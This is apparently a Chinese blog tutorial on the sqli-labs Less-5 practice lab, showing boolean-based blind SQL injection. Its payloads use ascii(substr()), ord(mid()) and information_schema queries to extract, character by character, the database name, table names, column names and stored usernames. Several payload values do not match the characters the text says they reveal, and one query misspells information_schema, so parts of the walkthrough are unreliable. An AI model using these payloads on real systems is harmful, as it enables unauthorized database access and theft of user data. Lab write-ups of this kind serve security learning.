逻辑注入:

1.尝试查询数据库:
(1)判断数据长度 -- 构造逻辑判断:and length(database())=8

当长度等于“8 ”时回显正常,所以数据库长度为“8”
(2)猜解数据库名称:
猜第一位:and ascii(left(database(),1))='100'

对照ascii表,115为 " s "及数据库的第一位是“ s ”
 
猜解第二位:and ascii(substr(database(),2,1))='111'

对照ascii表,101为“e”,及数据库的第二位是“e”
 
也可以使用mid()函数
 
以此类推:
…….
数据库为:security
 
 
2.尝试查询数据库版本:(只需判断出数据库版本是5.0以上还是以下)
用法:and left(version(),1)='5'

 
 
从以上得知数据库名为"security",并且数据库版本为5.0以上,那么我们利用此方式获取"security"数据库下的表:
 
3.获取数据库"security"的第一个表的第一个字符:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='110'

对照ascii表"101"为"e",故数据库security中的第一个表的第一个字符为: " e "
 
获取数据库"security"的第一个表的第二个字符:
用法:and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))='100'
对照ascii表,"109"为ascii码中的 "m",故第二个字符为“m”
 
以此类推:
……..
数据库 " security "的第一个表为 " email "
 
 
4.获取数据库 " security "的第二个表:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))='100'
对照ascii表,ascii码中" 114 "为字符“r”,故第二个表的第一个字符为 "r"
 
 
方法同上,同理可获得所有表:
及:
emails    
referers  
uagents   
users
 
5.获取users中的列:
这里有两种方法:
法一:and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='100'
对照ascii表,“117”为“u”,故users表中第一个列名的第一个字符为“u”
 
以此类推
      …….
可以推理出所有列名,但我感觉是个大工程啊!!!
因为当一个users表中涵盖列名用以下:

 
法二:我们不妨这样想,既然我们猜解到表中含有users这个表
按常规思路,敏感数据如:username、password、passwd 按照这个思路我们可以进行逻辑注入
用法:and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp'^username')

 
解释:定义一个变量"1"在这"1"中进行查询,在users表中,查询正则匹配是否有‘username’这个列名有侧返回“1”的列数

此时返回 Subquery returns more than 1 row -->子查询返回超过 1 行
由此可知是存在"username"的,因为存在的比较多一行返回不过,所有报此错

 
 
 
而我们可以加点“料”,让它只在一行
用法:and 1=(select column_name from information_name.columns where table_name='users' and column_name regexp'^username' limit 0,1)
 
注入:
再一次确定了,是存在名为“username” 的列
 
在上面操作可以看到"username"存在。我们可以将"username"换成"password"等其他的项也是可以的。
 
 
6.获取users表中的内容
先看一下所有users表中所有的用户,以证明我的猜解是正确的

(1)猜解username中第一个用户名
用法: and ord((mid((select username from security.users limit 0,1),1,1)))='68'
//含义:查询从username中第一行开始只取一个的第一位字符

实战:
对照ascii表“68”,username列中的第一行的第一个用户名字符为"D"
 
以此类推
…….
可以猜解出,第一个用户为Dumb
 
那么怎么猜解第二个呢?
 
(2)猜解username中的第二个用户:
   用法: and ord(mid((select username from security.users limit 1,1),1,1))='65'  

  注入:

  对照ascii表,"65"为ascii表中的"A",故users表中第二个用户名的第一个字符为“A”               
 
以此类推……
接下来的用户名和密码都是
如此……                                                                                                                                                                                                  

sql注入 —sqli-labs/Less-5 逻辑注入的更多相关文章

  1. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  2. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  3. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  4. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  5. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  6. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  7. sql之将一个表中的数据注入另一个表中

    sql之将一个表中的数据注入另一个表中 需求:现有两张表t1,t2,现需要将t2的数据通过XZQHBM相同对应放入t1表中 t1: t2: 思路:left join 语句: select * from ...

  8. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  9. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

随机推荐

  1. C#gridview颜色提示

    OnRowCreated="gridStatistic_RowCreated private void FillUI() { gridStatistic.DataSource = dtSta ...

  2. 日常Java 2021/9/28

    字符串反转 package m; public class m { public static void main(String[] args) { //定义一个字符串 String str = &q ...

  3. Redis - 1 - linux中使用docker-compose安装Redis - 更新完毕

    0.前言 有我联系方式的那些半吊子的人私信问我:安装Redis有没有更简单的方式,网上那些文章和视频,没找到满意的方法,所以我搞篇博客出来说明一下我的安装方式吧 1.准备工作 保证自己的linux中已 ...

  4. 大数据学习day24-------spark07-----1. sortBy是Transformation算子,为什么会触发Action 2. SparkSQL 3. DataFrame的创建 4. DSL风格API语法 5 两种风格(SQL、DSL)计算workcount案例

    1. sortBy是Transformation算子,为什么会触发Action sortBy需要对数据进行全局排序,其需要用到RangePartitioner,而在创建RangePartitioner ...

  5. 利用python代码获取文件特定的内容,并保存为文档

    说明:有段时间需要读取上百个文件的单点能(sp),就写了下面的代码(计算化学狗努力转行中^-^) import os.path import re # 1 遍历指定目录,显示目录下的所有文件名 def ...

  6. CVTE第二次笔试

    选择瞎答得,直接编程题目 1. 使用递归将字符串中的数字去并按顺序打印 输入例  adfsafsfs123123eogie09789 输出例 123123 09789 #include<iost ...

  7. javaAPI2

    ---------------------------------------------------------------------------------------------------- ...

  8. nodejs代码初探之nodejs启动

    nodejs启动 入口在node_main.cc,解析参数后进入node.cc 中的node::Start() V8::Initialize() //初始化v8SetupProcessObject() ...

  9. 应用springMVC时如果配置URL映射时如下配置

    应用springMVC时如果配置URL映射时如下配置 [html] view plaincopy<servlet> <servlet-name>appServlet</s ...

  10. Layui:select下拉框回显

    一..需求场景分析 基于Thymeleaf模板下的layui下选框回显. 二.获得一个Layui标配的下拉框,我们需要在html中填写的内容如下 <div class="layui-f ...